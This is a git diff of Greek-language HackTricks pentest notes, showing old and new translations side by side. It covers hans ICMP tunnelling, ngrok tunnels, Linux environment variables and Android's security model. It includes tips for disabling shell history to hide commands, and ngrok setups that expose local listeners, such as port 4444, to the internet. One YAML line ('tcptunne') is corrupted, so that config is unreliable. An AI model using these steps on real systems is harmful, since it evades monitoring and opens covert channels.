Χρειάζεται δικαιώματα διαχειριστή (root) σε και τα δύο συστήματα για να δημιουργήσετε τα τουν αντάπτορες και να δρομολογήσετε δεδομένα μεταξύ τους χρησιμοποιώντας ICMP echo requests.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -544,8 +466,8 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/) είναι ένα εργαλείο για να εκθέσετε λύσεις στο Διαδίκτυο με μία εντολή γραμμής εντολών.**
*Οι URI εκθέσεων είναι όπως:* **UID.ngrok.io**
**[ngrok](https://ngrok.com/) είναι ένα εργαλείο για την εκθεση λύσεων στο Internet με μία εντολή γραμμής.**
*Οι διευθύνσεις URI εκθεσης είναι όπως:* **UID.ngrok.io**
### Εγκατάσταση
@ -561,9 +483,9 @@ chmod a+x ./ngrok
**Τεκμηρίωση:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*Είναι επίσης δυνατόν να προστεθεί πιστοποίηση και TLS, αν είναι απαραίτητο.*
*Είναι επίσης δυνατή η προσθήκη πιστοποίησης και TLS, αν είναι απαραίτητο.*
#### Τούνελινγκ TCP
#### Σήραγγα TCP
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
@ -572,24 +494,16 @@ chmod a+x ./ngrok
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### Αποκάλυψη αρχείων με HTTP
Η αποκάλυψη αρχείων μέσω HTTP είναι μια τεχνική που μπορεί να χρησιμοποιηθεί για να αποκτηθεί πρόσβαση σε αρχεία μέσω του πρωτοκόλλου HTTP. Αυτή η τεχνική είναι χρήσιμη όταν ένας εξυπηρετητής δεν έχει δημόσια προσβάσιμα αρχεία, αλλά επιτρέπει την ανάγνωση αρχείων μέσω HTTP.
Για να αποκαλύψετε ένα αρχείο μέσω HTTP, μπορείτε να χρησιμοποιήσετε έναν εξυπηρετητή HTTP που θα εξυπηρετεί το αρχείο σαν απόκριση σε αιτήματα HTTP. Αυτό μπορεί να γίνει με τη χρήση εργαλείων όπως το `python -m SimpleHTTPServer` ή το `php -S`.
Αφού ξεκινήσετε τον εξυπηρετητή HTTP, μπορείτε να αποκτήσετε πρόσβαση στο αρχείο μέσω του προγράμματος περιήγησής σας, χρησιμοποιώντας τη διεύθυνση URL που παρέχεται από τον εξυπηρετητή. Αυτό θα σας επιτρέψει να δείτε, να κατεβάσετε ή να αλληλεπιδράσετε με το αρχείο μέσω του προγράμματος περιήγησής σας.
Είναι σημαντικό να σημειωθεί ότι η αποκάλυψη αρχείων μέσω HTTP μπορεί να αποκαλύψει ευαίσθητες πληροφορίες, επομένως πρέπει να χρησιμοποιείται με προσοχή και μόνο όταν είναι απαραίτητο.
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Καταγραφή των κλήσεων HTTP
#### Καταγραφή κλήσεων HTTP
*Χρήσιμο για XSS, SSRF, SSTI ...*
Απευθείας από την έξοδο (stdout) ή μέσω της διεπαφής HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
Απευθείας από το stdout ή στη διεπαφή HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Σήραγγα για εσωτερική υπηρεσία HTTP
#### Σήραγγα εσωτερικού υπηρεσίας HTTP
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@ -600,12 +514,12 @@ chmod a+x ./ngrok
Ανοίγει 3 τούνελ:
- 2 TCP
- 1 HTTP με έκθεση στατικών αρχείων από το /tmp/httpbin/
- 1 HTTP με εκθεση στατικών αρχείων από το /tmp/httpbin/
```yaml
tunnels:
mytcp:
addr: 4444
proto: tcp
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
@ -618,14 +532,22 @@ addr: file:///tmp/httpbin/
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,28 +2,36 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Καθολικές μεταβλητές
**Try Hard Security Group**
Οι καθολικές μεταβλητές **θα κληρονομηθούν** από **παιδικές διεργασίες**.
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
Μπορείτε να δημιουργήσετε μια καθολική μεταβλητή για την τρέχουσα συνεδρία σας κάνοντας:
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Παγκόσμιες μεταβλητές
Οι παγκόσμιες μεταβλητές **θα κληρονομηθούν** από τις **υποδιεργασίες**.
Μπορείτε να δημιουργήσετε μια παγκόσμια μεταβλητή για την τρέχουσα συνεδρία σας κάνοντας:
```bash
export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world
```
Αυτή η μεταβλητή θα είναι προσβάσιμη από τις τρέχουσες συνεδρίες σας και τις διεργασίες παιδιά τους.
Αυτή η μεταβλητή θα είναι προσβάσιμη από τις τρέχουσες συνεδρίες σας και τις παιδικές διεργασίες τους.
Μπορείτε **να αφαιρέσετε** μια μεταβλητή κάνοντας:
```bash
@ -37,21 +45,7 @@ LOCAL="my local"
echo $LOCAL
unset LOCAL
```
## Λίστα τρέχουσων μεταβλητών
To list the current environment variables in Linux, you can use the `env` command. This command will display a list of all the variables and their values.
```bash
$ env
```
Alternatively, you can use the `printenv` command to achieve the same result:
```bash
$ printenv
```
Both commands will provide you with the current environment variables set in your Linux system.
## Κατάλογος τρέχουσων μεταβλητών
```bash
set
env
@ -63,59 +57,59 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
Από: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** - η οθόνη που χρησιμοποιείται από το **X**. Αυτή η μεταβλητή συνήθως έχει την τιμή **:0.0**, που σημαίνει η πρώτη οθόνη στον τρέχοντα υπολογιστή.
* **EDITOR** - ο προτιμώμενος κειμενογράφος του χρήστη.
* **HISTFILESIZE** - το μέγιστο πλήθος γραμμών που περιέχονται στο αρχείο ιστορικού.
* **HISTSIZE** - Αριθμός γραμμών που προστίθενται στο αρχείο ιστορικού όταν ο χρήστης τερματίζει τη συνεδρία του.
* **HOME** - ο κατάλογος του χρήστη.
* **HOSTNAME** - το όνομα του υπολογιστή.
* **LANG** - η τρέχουσα γλώσσα.
* **MAIL** - η τοποθεσία του αρχείου αλληλογραφίας του χρήστη. Συνήθως **/var/spool/mail/USER**.
* **MANPATH** - η λίστα των καταλόγων που αναζητούνται για εγχειρίδια χρήσης.
* **OSTYPE** - ο τύπος του λειτουργικού συστήματος.
* **PS1** - η προεπιλεγμένη εντολή στο bash.
* **PATH** - αποθηκεύει τη διαδρομή όλων των καταλόγων που περιέχουν δυαδικά αρχεία που θέλετε να εκτελείτε απλά αναφέροντας το όνομα του αρχείου και όχι τη σχετική ή απόλυτη διαδρομή.
* **PWD** - ο τρέχων κατάλογος εργασίας.
* **SHELL** - η διαδρομή προς το τρέχον κέλυφος εντολών (για παράδειγμα, **/bin/bash**).
* **TERM** - ο τρέχων τύπος τερματικού (για παράδειγμα, **xterm**).
* **TZ** - η ζώνη ώρας σας.
* **USER** - το τρέχον όνομα χρήστη.
* **DISPLAY** το display που χρησιμοποιείται από το **X**. Αυτή η μεταβλητή συνήθως ορίζεται σε **:0.0**, που σημαίνει την πρώτη εμφάνιση στον τρέχοντα υπολογιστή.
* **EDITOR** ο προτιμώμενος επεξεργαστής κειμένου του χρήστη.
* **HISTFILESIZE** το μέγιστο αριθμό γραμμών που περιέχονται στο αρχείο ιστορικού.
* **HISTSIZE** Ο αριθμός των γραμμών που προστίθενται στο αρχείο ιστορικού όταν ο χρήστης ολοκληρώνει τη συνεδρία του.
* **HOME** ο κατάλογος του χρήστη.
* **HOSTNAME** το όνομα του υπολογιστή.
* **LANG** η τρέχουσα γλώσσα σας.
* **MAIL** η τοποθεσία του spool αλληλογραφίας του χρήστη. Συνήθως **/var/spool/mail/USER**.
* **MANPATH** η λίστα των καταλόγων που αναζητούνται για εγχειρίδια.
* **OSTYPE** ο τύπος του λειτουργικού συστήματος.
* **PS1** η προεπιλεγμένη προτροπή στο bash.
* **PATH** αποθηκεύει τη διαδρομή όλων των καταλόγων που περιέχουν δυαδικά αρχεία που θέλετε να εκτελέσετε απλώς αναφέροντας το όνομα του αρχείου και όχι με σχετική ή απόλυτη διαδρομή.
* **PWD** ο τρέχων κατάλογος εργασίας.
* **SHELL** η διαδρομή προς το τρέχον κέλυφος εντολών (για παράδειγμα, **/bin/bash**).
* **TERM** ο τρέχων τύπος τερματικού (για παράδειγμα, **xterm**).
* **TZ** η ζώνη ώρας σας.
* **USER** το τρέχον όνομα χρήστη σας.
## Ενδιαφέρουσες μεταβλητές για χακινγκ
### **HISTFILESIZE**
Αλλάξτε τη **τιμή αυτής της μεταβλητής σε 0**, έτσι όταν **τερματίζετε τη συνεδρία** σας το **αρχείο ιστορικού** (\~/.bash\_history) **θα διαγραφεί**.
Αλλάξτε τη **τιμή αυτής της μεταβλητής σε 0**, έτσι όταν **τερματίσετε τη συνεδρία σας** το **αρχείο ιστορικού** (\~/.bash\_history) **θα διαγραφεί**.
```bash
export HISTFILESIZE=0
```
### **HISTSIZE**
Αλλάξτε τη **τιμή αυτής της μεταβλητής σε 0**, έτσι ώστε όταν **τερματίσετε τη συνεδρία** σας, καμία εντολή δεν θα προστεθεί στο **αρχείο ιστορικού** (\~/.bash\_history).
Αλλάξτε τη **τιμή αυτής της μεταβλητής σε 0**, έτσι ώστε όταν **τερματίσετε τη συνεδρία σας** καμία εντολή δεν θα προστεθεί στο **αρχείο ιστορικού** (\~/.bash\_history).
```bash
export HISTSIZE=0
```
### http\_proxy & https\_proxy
Οι διεργασίες θα χρησιμοποιήσουν τον **proxy** που έχει καθοριστεί εδώ για να συνδεθούν στο διαδίκτυο μέσω **http ή https**.
Οι διεργασίες θα χρησιμοποιήσουν το **proxy** που δηλώνεται εδώ για να συνδεθούν στο internet μέσω **http ή https**.
```bash
export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080"
```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
Οι διεργασίες θα εμπιστεύονται τα πιστοποιητικά που δηλώνονται στις **μεταβλητές περιβάλλοντος αυτές**.
Οι διεργασίες θα εμπιστεύονται τα πιστοποιητικά που υποδεικνύονται σε **αυτές τις μεταβλητές περιβάλλοντος**.
```bash
export SSL_CERT_FILE=/path/to/ca-bundle.pem
export SSL_CERT_DIR=/path/to/ca-certificates
```
### PS1
Αλλάξτε τον τρόπο που εμφανίζεται η γραμμή εντολών σας.
Αλλάξτε τον τρόπο με τον οποίο εμφανίζεται το προτροπή σας.
[**Αυτό είναι ένα παράδειγμα**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
Root:
Ρίζα:
![](<../.gitbook/assets/image (87).png>)
@ -123,24 +117,30 @@ Root:
![](<../.gitbook/assets/image (88).png>)
Ένα, δύο και τρία φόνταρισμένα jobs:
Ένα, δύο και τρία φόνταρα jobs:
![](<../.gitbook/assets/image (89).png>)
Ένα φόνταρισμένο job, ένα παύση και η τελευταία εντολή δεν ολοκληρώθηκε σωστά:
Ένα φόνταρο job, ένα που έχει σταματήσει και η τελευταία εντολή δεν ολοκληρώθηκε σωστά:
![](<../.gitbook/assets/image (90).png>)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -9,36 +9,44 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του **HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Μοντέλο Ασφαλείας Android
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Μοντέλο Ασφάλειας Android
**Υπάρχουν δύο επίπεδα:**
* Το **ΛΕΣ**, το οποίο διατηρεί τις εγκατεστημένες εφαρμογές απομονωμένες μεταξύ τους.
* Η **ίδια η εφαρμογή**, η οποία επιτρέπει στους προγραμματιστές να **εκθέτουν ορισμένες λειτουργίες** και να διαμορφώνει τις δυνατότητες της εφαρμογής.
* Η **ίδια η εφαρμογή**, η οποία επιτρέπει στους προγραμματιστές να **εκθέτουν ορισμένες λειτουργίες** και να διαμορφώνουν τις δυνατότητες της εφαρμογής.
### Διαχωρισμός UID
**Κάθε εφαρμογή ανατίθεται ένα συγκεκριμένο αναγνωριστικό χρήστη (UID)**. Αυτό γίνεται κατά την εγκατάσταση της εφαρμογής ώστε **η εφαρμογή να μπορεί να αλληλεπιδρά μόνο με αρχεία που ανήκουν στο UID της ή με κοινόχρηστα** αρχεία. Συνεπώς, μόνο η ίδια η εφαρμογή, κάποια στοιχεία του ΛΕΣ και ο ριζικός χρήστης μπορούν να έχουν πρόσβαση στα δεδομένα των εφαρμογών.
**Κάθε εφαρμογή ανατίθεται ένα συγκεκριμένο αναγνωριστικό χρήστη (UID)**. Αυτό γίνεται κατά την εγκατάσταση της εφαρμογής, έτσι ώστε η εφαρμογή να μπορεί να αλληλεπιδρά μόνο με αρχεία που ανήκουν στο UID της ή με κοινόχρηστα αρχεία. Συνεπώς, μόνο η εφαρμογή, κάποια στοιχεία του ΛΕΣ και ο ριζικός χρήστης μπορούν να έχουν πρόσβαση στα δεδομένα των εφαρμογών.
### Διαμοιρασμός UID
**Δύο εφαρμογές μπορούν να ρυθμιστούν ώστε να χρησιμοποιούν το ίδιο UID**. Αυτό μπορεί να είναι χρήσιμο για να μοιράζονται πληροφορίες, αλλά αν μία από αυτές διαρρεύσει, τα δεδομένα και των δύο εφαρμογών θα διαρρεύσουν. Γι' αυτό ο συγκεκριμένος τρόπος συμπεριφοράς είναι **αποθαρρυντικός**.\
**Για να μοιράζονται το ίδιο UID, οι εφαρμογές πρέπει να ορίσουν την ίδια τιμή `android:sharedUserId` στα μεταδεδομένα τους.**
**Δύο εφαρμογές μπορούν να ρυθμιστούν να χρησιμοποιούν το ίδιο UID**. Αυτό μπορεί να είναι χρήσιμο για να μοιραστούν πληροφορίες, αλλά αν μία από αυτές διαρρεύσει, τα δεδομένα και των δύο εφαρμογών θα διαρρεύσουν. Γι' αυτό η συμπεριφορά αυτή είναι **αποθαρρυντική**.\
**Για να μοιραστούν το ίδιο UID, οι εφαρμογές πρέπει να ορίσουν την ίδια τιμή `android:sharedUserId` στα μανιφέστα τους.**
### Αμμοθάλασσα
### Αμμοθυρίστες
Η **Αμμοθάλασσα Εφαρμογών Android** επιτρέπει την εκτέλεση **κάθε εφαρμογής** ως ένα **ξεχωριστό διεργασία υπό ένα ξεχωριστό αναγνωριστικό χρήστη**. Κάθε διεργασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένα από άλλες εφαρμογές.\
Από το Android 5.0(L) εφαρμόζεται το **SELinux**. Βασικά, το SELinux απαγόρευε όλες τις αλληλεπιδράσεις διεργασιών και στη συνέχεια δημιούργησε πολιτικές για να **επιτρέψει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ τους**.
Το **Αμμοθυρίστες Εφαρμογών Android** επιτρέπει την εκτέλεση **κάθε εφαρμογής** ως ένα **ξεχωριστό διεργασία υπό ένα διαφορετικό αναγνωριστικό χρήστη**. Κάθε διεργασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένα από άλλες εφαρμογές.\
Από το Android 5.0(L) η **SELinux** επιβάλλεται. Βασικά, η SELinux απαγόρευσε όλες τις αλληλεπιδράσεις διεργασιών και στη συνέχεια δημιούργησε πολιτικές για **να επιτρέψει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ τους**.
### Δικαιώματα
Όταν εγκαθιστάτε μια **εφαρμογή και σας ζητά δικαιώματα**, η εφαρμογή ζητά τα δικαιώματα που έχουν διαμορφωθεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα του ζητούμενου δικαιώματος μέσα στο **όνομα** **χαρακτηριστικού.** Διαθέτει επίσης το χαρακτηριστικό **maxSdkVersion** που σταματά το αίτημα δικαιωμάτων σε εκδόσεις υψηλότερες από αυτήν που καθορίζεται.\
Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητήσουν όλα τα δικαιώματα από την αρχή, μπορούν επίσης **να ζητήσουν δικαιώματα δυναμικά** αλλά όλα τα δικαιώματα πρέπει να **δηλωθούν** στο **μεταδεδομένα.**
Όταν εγκαθιστάτε μια **εφαρμογή και σας ζητά δικαιώματα**, η εφαρμογή ζητά τα δικαιώματα που έχουν διαμορφωθεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα του ζητούμενου δικαιώματος μέσα στο **όνομα** **χαρακτηριστικού.** Έχει επίσης το χαρακτηριστικό **maxSdkVersion** που σταματά το αίτημα δικαιωμάτων σε εκδόσεις υψηλότερες από αυτήν που καθορίζεται.\
Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητήσουν όλα τα δικαιώματα από την αρχή, μπορούν επίσης **να ζητήσουν δικαιώματα δυναμικά** αλλά όλα τα δικαιώματα πρέπει να **δηλωθούν** στο **μανιφέστο.**
Όταν μια εφαρμογή εκθέτει λειτουργικότητα, μπορεί να περιορίσει την **πρόσβαση μόνο σε εφαρμογές που έχουν ένα συγκεκριμένο δικαίωμα**.\
Ένα στοιχείο δικαιώματος έχει τρία χαρακτηριστικά:
@ -46,31 +54,31 @@
* Το **όνομα** του δικαιώματος
* Το χαρακτηριστικό **permission-group**, που επιτρέπει την ομαδοποίηση σχετικών δικαιωμάτων.
* Το **επίπεδο προστασίας** που υποδεικνύει πώς χορηγούνται τα δικαιώματα. Υπάρχουν τέσσερα είδη:
* **Κανονικό**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Δεν απαιτείται η έγκριση του χρήστη.
* **Επικίνδυνο**: Υποδεικνύει ότι το δικαίωμα χορηγεί στην αιτούσα εφαρμογή κάποια **υψηλότερη πρόσβαση**. **Οι χρήστες καλούνται να τα εγκρίνουν**.
* **Υπογραφή**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο μπορούν να χορηγηθούν δικαιώματα. Αυτό είναι το ισχυρότερο είδος προστασίας.
* **ΥπογραφήΉΣύστημα**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο ή **εφαρμογές που λειτουργούν με επίπεδο πρόσβασης συστήματος** μπορούν να χορηγηθούν δικαιώματα
* **Κανονικό**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Δεν απαιτείται η έγκριση του χρήστη.
* **Επικίνδυνο**: Υποδεικνύει ότι το δικαίωμα χορηγεί στην αιτούσα εφαρμογή κάποια **υψηλότερη πρόσβαση**. **Οι χρήστες καλούνται να τα εγκρίνουν**.
* **Υπογραφή**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο μπορούν να χορηγηθούν άδεια. Αυτό είναι το ισχυρότερο είδος προστασίας.
* **ΥπογραφήΉΣύστημα**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο ή **εφαρμογές που λειτουργούν με επίπεδο πρόσβασης συστήματος** μπορούν να χορηγηθούν δικαιώματα
## Προ-εγκατεστημένες Εφαρμογές
## Προεγκατεστημένες Εφαρμογές
Αυτές οι εφαρμογές βρίσκονται συνήθως στους καταλόγους **`/system/app`** ή **`/system/priv-app`** και κάποιες από αυτές είναι **βελτιστοποιημένες** (μπορεί να μην βρείτε καν το αρχείο `classes.dex`). Αξίζει να ελέγξετε αυτές τις εφαρμογές επειδή μερικές φορές τρέχουν με **πάρα πολλά δικαιώματα** (ως ριζικός χρήστης).
* Αυτές που αποστέλλονται με το **AOSP** (Android OpenSource Project) **ROM**
* Προστέθηκαν από τον **κατασκευαστή της συσκευής**
* Προστέθηκαν από τον **κατασκευαστή συσκευών**
* Προστέθηκαν από τον πάροχο **κινητής τηλεφωνίας** (αν αγοράστηκαν από αυτόν)
## Rooting
Για να αποκτήσετε ριζική πρόσβαση σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες** που συνήθως είναι **συγκεκριμένες** για τη
Για να αποκτήσετε ριζική πρόσβαση σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες**
### **Dalvik & Smali**
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί το JVM όπως στις εφαρμογές επιφάνειας εργασίας, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, η Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις του Android.
